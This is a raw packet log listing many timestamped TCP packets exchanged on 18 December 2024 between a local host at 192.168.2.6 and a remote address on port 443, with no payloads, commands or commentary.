Dec 18, 2024 13:35:56.107968092 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.110343933 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.110364914 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.110420942 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.110435963 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.110475063 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.113137007 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.113157034 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.113235950 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.113245964 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.113281965 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.116226912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.116244078 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.116312981 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.116326094 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.116372108 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.134186983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.134212017 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.134267092 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.134298086 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.134309053 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.134398937 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.375009060 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.375030041 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.375092030 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.375121117 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.375196934 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.495026112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.495052099 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.495126009 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.495156050 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.495201111 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.495754957 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.495770931 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.495821953 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.495829105 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.495868921 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.496637106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.496651888 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.496695042 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.496701956 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.496730089 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.496747017 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.497658968 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.497673035 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.497729063 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.497735977 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.497770071 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.498656034 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.498672009 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.498723984 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.498730898 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.498769045 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.500319004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.500334978 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.500396967 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.500407934 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.500442028 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.501782894 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.501797915 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.501859903 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.501864910 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.501905918 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.502851009 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.502867937 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.502934933 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.502942085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.502979994 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.504692078 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.504708052 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.504770994 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.504784107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.504818916 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.505848885 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.505867004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.505964994 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.505975962 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.506145954 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.506849051 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.506865025 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.506920099 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.506926060 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.506957054 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.507778883 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.507793903 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.507855892 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.507862091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.507906914 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.508671999 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.508688927 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.508755922 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.508760929 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.508804083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.510149002 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.510174036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.510215998 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.510221004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.510247946 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.510263920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.518053055 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.518081903 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.518132925 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.518161058 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.518178940 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.518207073 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.556665897 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.556694984 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.556754112 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.556792021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.556811094 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.556999922 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.649291039 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.649316072 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.649379969 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.649399042 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.649410963 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.649435997 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.681412935 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.681435108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.681509018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.681544065 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.681562901 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.681581020 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.684499979 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.684516907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.684576035 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.684587955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.684729099 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.687417030 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.687436104 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.687473059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.687484026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.687506914 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.687524080 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.689939976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.689966917 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.690006971 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.690015078 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.690035105 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.690047979 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.693208933 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.693228006 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.693293095 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.693301916 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.693319082 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.693336964 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.709875107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.709913969 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.709966898 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.710000038 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.710015059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.710041046 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.748806000 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.748835087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.748888016 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.748903036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.748933077 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.748946905 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.841000080 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.841022015 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.841085911 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.841115952 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.841130972 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.841181040 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.873555899 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.873584032 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.873671055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.873711109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.873791933 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.876375914 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.876394987 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.876466036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.876475096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.876568079 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.879147053 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.879163980 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.879224062 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.879232883 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.879565001 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.882368088 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.882385969 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.882433891 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.882442951 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.882456064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.882484913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.884840012 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.884860992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.884918928 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.884927988 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.884954929 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.884973049 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.902086973 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.902107954 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.902149916 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.902158976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.902185917 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.902203083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.940854073 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.940877914 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.940947056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.940963030 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.940993071 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.941006899 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.047754049 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.047775984 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.047836065 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.047863960 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.047884941 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.047909021 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.066843033 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.066862106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.066929102 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.066943884 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.067051888 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.069426060 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.069443941 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.069520950 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.069530010 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.069572926 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.071806908 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.071824074 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.071887970 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.071897984 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.072011948 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.074338913 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.074357033 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.074405909 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.074414968 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.074446917 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.074455976 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.077327967 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.077346087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.077428102 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.077442884 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.077486038 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.094525099 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.094542027 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.094620943 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.094633102 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.094671011 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.133182049 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.133199930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.133264065 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.133281946 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.133311987 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.133332014 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.240652084 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.240679026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.240727901 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.240761042 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.240772009 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.240803003 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.258363962 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.258384943 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.258449078 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.258460999 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.258492947 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.258506060 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.260770082 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.260787964 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.260838985 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.260847092 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.260873079 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.260895014 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.264168978 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.264187098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.264231920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.264240026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.264276981 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.266709089 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.266727924 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.266774893 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.266783953 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.266817093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.266832113 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.269345999 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.269373894 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.269422054 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.269431114 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.269457102 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.269476891 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.286953926 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.286983013 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.287033081 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.287049055 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.287084103 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.287101984 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.325510979 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.325529099 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.325609922 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.325632095 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.325709105 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.432559967 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.432593107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.432667971 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.432704926 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.432718992 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.432744980 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.450205088 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.450227976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.450320959 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.450335979 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.450603962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.453166008 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.453182936 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.453243971 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.453252077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.453341007 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.455857038 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.455878973 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.455929041 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.455941916 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.455967903 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.455986977 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.458417892 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.458432913 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.458504915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.458517075 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.458550930 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.461633921 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.461651087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.461716890 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.461728096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.461760044 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.479249001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.479266882 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.479336977 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.479350090 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.479624987 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.518527031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.518543959 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.518615961 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.518636942 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.518647909 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.518671036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.650099039 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.650119066 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.650167942 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.650203943 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.650217056 CET	49728	443	192.168.2.6	118.107.29.172
